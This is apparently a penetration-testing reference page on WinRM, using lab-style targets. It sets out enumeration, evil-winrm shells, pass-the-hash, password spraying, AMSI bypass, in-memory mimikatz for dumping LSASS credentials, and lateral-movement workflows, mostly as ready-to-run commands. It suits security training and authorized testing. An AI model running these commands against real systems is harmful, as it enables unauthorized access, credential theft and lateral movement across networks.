Skip to content

WinRM

WinRM (Windows Remote Management) is Microsoft’s HTTP/HTTPS-based protocol for remote administration of Windows hosts. It implements the WS-Management standard over SOAP. Ports: TCP 5985 (HTTP) and TCP 5986 (HTTPS). With valid credentials, WinRM is the smoothest credentialed-RCE primitive on Windows - evil-winrm gives you an interactive PowerShell session in one command, with built-in tooling for file transfer and AMSI bypass.

# 1. Service scan
nmap -sV -p5985,5986 <target>
# 2. Probe with Test-WsMan (from a Windows attack box)
Test-WsMan -ComputerName <target>
# 3. Credentialed shell (Linux attack box)
evil-winrm -i <target> -u <user> -p '<pass>'
# 4. Pass-the-hash
evil-winrm -i <target> -u <user> -H <NT-hash>
# 5. HTTPS port if 5985 is firewalled
evil-winrm -i <target> -u <user> -p '<pass>' -S -P 5986

Success indicator: Test-WsMan returns ProductVersion + ProductVendor without error, OR evil-winrm drops to an interactive *Evil-WinRM* PS C:\Users\<user>\Documents> prompt.

WinRM is Microsoft’s implementation of WS-Management - a SOAP-based standard for managing distributed systems. It rides on top of HTTP/HTTPS, which makes it firewall-friendly (just allow ports 5985/5986) and provides a familiar HTTP-layer auth and encryption stack.

PortProtocolTransport encryption
TCP 5985HTTPNone at the HTTP level; WinRM negotiates AES-256 message-level encryption inside the HTTP stream after auth
TCP 5986HTTPSTLS at the HTTP level (cert validation matters)

Despite port 5985 being “HTTP” (no TLS), the actual WinRM payloads inside it are encrypted at the message level - so the conversation isn’t readable to passive sniffers as long as the negotiation succeeded. Port 5986 adds an additional outer TLS wrapper.

MethodAvailable onUse case
Negotiate (NTLM/Kerberos)Default for domain-joined WindowsMost common - your domain creds work transparently
KerberosDomain environmentsBetter than NTLM; required for double-hop scenarios
CredSSPOptional, off by defaultAllows credential delegation (the “second-hop” problem solved)
BasicOptional, off by defaultUsername + password sent (base64-encoded) in the HTTP header. Requires HTTPS.
CertificateOptional, off by defaultClient cert + matching mapping on the server

For an operator with username + NTLM hash, the typical path is Negotiate with NTLM - works without Kerberos infrastructure and without needing the password itself (just the hash).

WinRM connections require:

  1. WinRM service running on the target (default off on workstations, default on on servers since 2012)
  2. The connecting account is in the Remote Management Users local group OR is a member of Administrators
  3. The WinRM listener configured to accept the appropriate auth method
  4. Firewall allows 5985/5986

The Remote Management Users group is the intended scope - admins who can manage but aren’t full local Administrators. In practice, in many environments, only Administrators have it, which means WinRM = local admin = credentials-to-SYSTEM is one mimikatz away.

winrm get winrm/config shows the running configuration on a target Windows host. Operator-relevant defaults:

Config
MaxEnvelopeSizekb = 500
MaxTimeoutms = 60000
MaxBatchItems = 32000
MaxProviderRequests = 4294967295
Client
NetworkDelayms = 5000
URLPrefix = wsman
AllowUnencrypted = false # blocks plaintext connections
Auth
Basic = true # client may use Basic auth
Digest = true
Kerberos = true
Negotiate = true
Certificate = true
CredSSP = false # CredSSP delegation off by default
DefaultPorts
HTTP = 5985
HTTPS = 5986
TrustedHosts # empty by default - Kerberos required
Service
RootSDDL = O:NSG:BAD:P(A;;GA;;;BA)(A;;GR;;;IU)S:P(AU;FA;GA;;;WD)(AU;SA;GWGX;;;WD)
MaxConcurrentOperations = 4294967295
MaxConcurrentOperationsPerUser = 1500
EnumerationTimeoutms = 240000
MaxConnections = 300
MaxPacketRetrievalTimeSeconds = 120
AllowUnencrypted = false # service refuses plaintext
Auth
Basic = false # server doesn't accept Basic by default
Kerberos = true
Negotiate = true
Certificate = false
CredSSP = false
CbtHardeningLevel = Relaxed
DefaultPorts
HTTP = 5985
HTTPS = 5986
IPv4Filter = *
IPv6Filter = *
EnableCompatibilityHttpListener = false
EnableCompatibilityHttpsListener = false
CertificateThumbprint
AllowRemoteAccess = true
  • Service/AllowUnencrypted = false - server requires encryption (good)
  • Service/Auth/Basic = false - server won’t accept Basic auth (good - Basic over HTTP is plaintext credentials)
  • Service/Auth/Negotiate = true - NTLM and Kerberos accepted (default and expected)
  • Service/Auth/CredSSP = false - no credential delegation (good)
  • Client/AllowUnencrypted = false - client won’t send unencrypted (good)
  • Client/TrustedHosts = (empty) - by default, clients require Kerberos (which requires the target to be in DNS and resolvable via SPN). For non-domain-joined clients connecting by IP, this needs to be loosened.
SettingWhat it enables
Service/Auth/Basic = trueUsername/password sent in HTTP Basic auth header - base64, not encrypted. If AllowUnencrypted = true too, credentials in cleartext over the wire.
Service/AllowUnencrypted = trueNegotiated AES-256 encryption can be bypassed - operator can sniff
Service/Auth/CredSSP = trueCredential delegation enabled - compromise of one host can immediately reach others the user has authenticated to
Wide RootSDDL ACLThe default grants Administrators full WinRM access; loosening it opens to lower-privilege users
Wide IPv4Filter (*) without firewallAnyone on the network can connect
CertificateThumbprint = (empty)Self-signed cert generated at first listener creation - clients can’t easily validate
WinRM enabled on workstationsWorkstations don’t usually need to accept remote management, but admins sometimes enable it network-wide
WinRM listeners on multiple unrelated VLANsAllows lateral movement across normally-isolated networks
Terminal window
sudo nmap 10.129.14.128 -sV -p5985,5986
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

The version banner is Microsoft HTTPAPI httpd 2.0 - that’s the kernel-mode HTTP listener (HTTP.sys) that hosts the WinRM endpoint. Same banner appears for WSUS and various other Microsoft web services on different ports, so the port number is the distinguishing data.

NSE script for HTTPS endpoint inspection:

Terminal window
nmap -p5986 --script ssl-cert,ssl-enum-ciphers 10.129.14.128

This dumps the cert subject (often reveals the hostname) and the TLS cipher policy.

If you have a Windows attack host:

Terminal window
Test-WsMan -ComputerName 10.129.14.128

Successful response:

wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 10.0.17763 SP: 0.0 Stack: 3.0

ProductVersion reveals OS version (10.0.17763 = Server 2019). The Test-WsMan command works pre-auth - it just probes whether the WinRM service is responding. Unsuccessful response is usually:

Test-WsMan : <The client cannot connect to the destination specified in the request...>

Which means either: service down, firewall blocked, or the listener exists but only on a different transport/port than you tried.

From an authenticated session, see what’s actually configured:

Terminal window
winrm enumerate winrm/config/listener
Listener
Address = *
Transport = HTTP
Port = 5985
Hostname
Enabled = true
URLPrefix = wsman
CertificateThumbprint
ListeningOn = 10.129.14.128, 127.0.0.1, ::1, fe80::e8a1:...
Listener
Address = *
Transport = HTTPS
Port = 5986
Hostname = WIN-DC01.inlanefreight.htb
Enabled = true
URLPrefix = wsman
CertificateThumbprint = 1234567890ABCDEF...
ListeningOn = 10.129.14.128, 127.0.0.1, ::1, fe80::e8a1:...

Useful for understanding why a probe might be failing - if the HTTPS listener binds only to a specific hostname, IP-based connection attempts get rejected at the listener layer.

The defining WinRM tool. From a Linux attack box:

Terminal window
evil-winrm -i 10.129.14.128 -u Administrator -p 'P4ssw0rd!'
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

You’re now in a remote PowerShell session as that user. Built-in commands within evil-winrm:

CommandWhat it does
upload <local> <remote>Transfer file to target
download <remote> <local>Pull file from target
servicesList services
menuShow available evil-winrm functions
Invoke-Binary <PATH>Run a .NET binary loaded into memory (no disk write)
Donut-Loader -process_id <pid> -dll_path <path>Inject .NET assembly into existing process via Donut
Bypass-4MSIAMSI bypass (the in-process AV scan that catches mimikatz etc.)
Dll-Loader -dll_path <path>Load and execute a DLL in memory

Common operator workflow inside evil-winrm:

*Evil-WinRM* PS C:\Users\Administrator\Documents> Bypass-4MSI
*Evil-WinRM* PS C:\Users\Administrator\Documents> upload /home/op/SharpHound.exe
*Evil-WinRM* PS C:\Users\Administrator\Documents> .\SharpHound.exe -c All
*Evil-WinRM* PS C:\Users\Administrator\Documents> download ./<output-of-sharphound>.zip
Terminal window
evil-winrm -i 10.129.14.128 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0

Pass the NTLM hash directly with -H. No password needed. Works because WinRM’s NTLM auth path doesn’t actually need the plaintext password - the hash is what’s used to compute the challenge response anyway.

Terminal window
evil-winrm -i 10.129.14.128 -u Administrator -p '<pass>' -S -P 5986

-S enables SSL (HTTPS, port 5986 by default but -P overrides). Use this when port 5985 is firewalled - port 5986 is often allowed in environments that have hardened against WinRM-over-HTTP.

From a Windows attack box (or pwsh on Linux):

Terminal window
$cred = Get-Credential # prompts for username + password
Enter-PSSession -ComputerName 10.129.14.128 -Credential $cred
# Or with an explicit credential object
$pw = ConvertTo-SecureString 'P4ssw0rd!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('Administrator', $pw)
Enter-PSSession -ComputerName 10.129.14.128 -Credential $cred
# Run one command instead of entering a session
Invoke-Command -ComputerName 10.129.14.128 -Credential $cred -ScriptBlock { whoami }

For non-domain-joined client, you’ll need to set TrustedHosts first:

Terminal window
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '10.129.14.128' -Force
Terminal window
# Test single credential
crackmapexec winrm 10.129.14.128 -u Administrator -p 'P4ssw0rd!'
# Pass-the-hash test
crackmapexec winrm 10.129.14.128 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Spray across many users with one password
crackmapexec winrm 10.129.14.128 -u users.txt -p 'Spring2024!'
# Spray across many hosts with one credential (lateral movement check)
crackmapexec winrm 10.0.0.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command without an interactive shell
crackmapexec winrm 10.129.14.128 -u Administrator -p '<pass>' -x 'whoami'

The subnet form is the lateral-movement scan - for each cred you have, instantly map which other hosts in the network it works on.

Terminal window
crackmapexec winrm 10.129.14.128 -u users.txt -p passwords.txt

Or Hydra (less commonly used for WinRM but works):

Terminal window
hydra -L users.txt -P passwords.txt -m 'http-post-form-multipart' 10.129.14.128:5985

Most WinRM brute-force happens via crackmapexec winrm - purpose-built, faster, and the output is easier to parse.

SMB / SQL creds → WinRM lateral movement:

  1. Recovered creds via SMB or SQL enumeration (see SMB / MSSQL)
  2. crackmapexec winrm subnet/24 -u user -p pass - see which hosts in the network the cred works on
  3. evil-winrm into the highest-value hit (DCs, file servers)

NTLM hash → PTH → WinRM shell:

  1. mimikatz/secretsdump from a previously-shelled host yields NTLM hashes
  2. evil-winrm -u <user> -H <hash> -i <target> - no password needed
  3. Interactive shell on the target without ever knowing the plaintext

WinRM shell → AMSI bypass → mimikatz → more hashes:

  1. evil-winrm in
  2. Bypass-4MSI defeats in-memory AV scanning
  3. Invoke-Binary mimikatz.exe loads mimikatz from your local path, runs in memory
  4. Dump LSASS for cached creds - usually finds the next set of usernames/hashes to spray with

SharpHound collection over WinRM:

  1. evil-winrm in as a domain user
  2. upload SharpHound.exe (or run in-memory via Invoke-Binary)
  3. Collect AD data → BloodHound for graph analysis
  4. Identify attack paths from current creds to Domain Admin
TaskCommand
Service scannmap -sV -p5985,5986 <target>
TLS cert / ciphernmap -p5986 --script ssl-cert,ssl-enum-ciphers <target>
Test reachabilityTest-WsMan -ComputerName <target> (Windows)
Interactive shell (password)evil-winrm -i <target> -u <user> -p '<pass>'
Interactive shell (hash)evil-winrm -i <target> -u <user> -H <NT-hash>
HTTPS variantevil-winrm -i <target> -u <user> -p '<pass>' -S -P 5986
Native PS remotingEnter-PSSession -ComputerName <target> -Credential $cred
One-shot commandInvoke-Command -ComputerName <target> -Credential $cred -ScriptBlock { <cmd> }
Test credscrackmapexec winrm <target> -u <user> -p '<pass>'
Pass-the-hash testcrackmapexec winrm <target> -u <user> -H <NT-hash>
Spraycrackmapexec winrm <target> -u users.txt -p '<pass>'
Subnet scan with credcrackmapexec winrm 10.0.0.0/24 -u <user> -p '<pass>'
Exec command via cmecrackmapexec winrm <target> -u <user> -p '<pass>' -x '<cmd>'
Upload (in evil-winrm)upload /local/path C:\\remote\\path
Download (in evil-winrm)download C:\\remote\\path /local/path
AMSI bypass (evil-winrm)Bypass-4MSI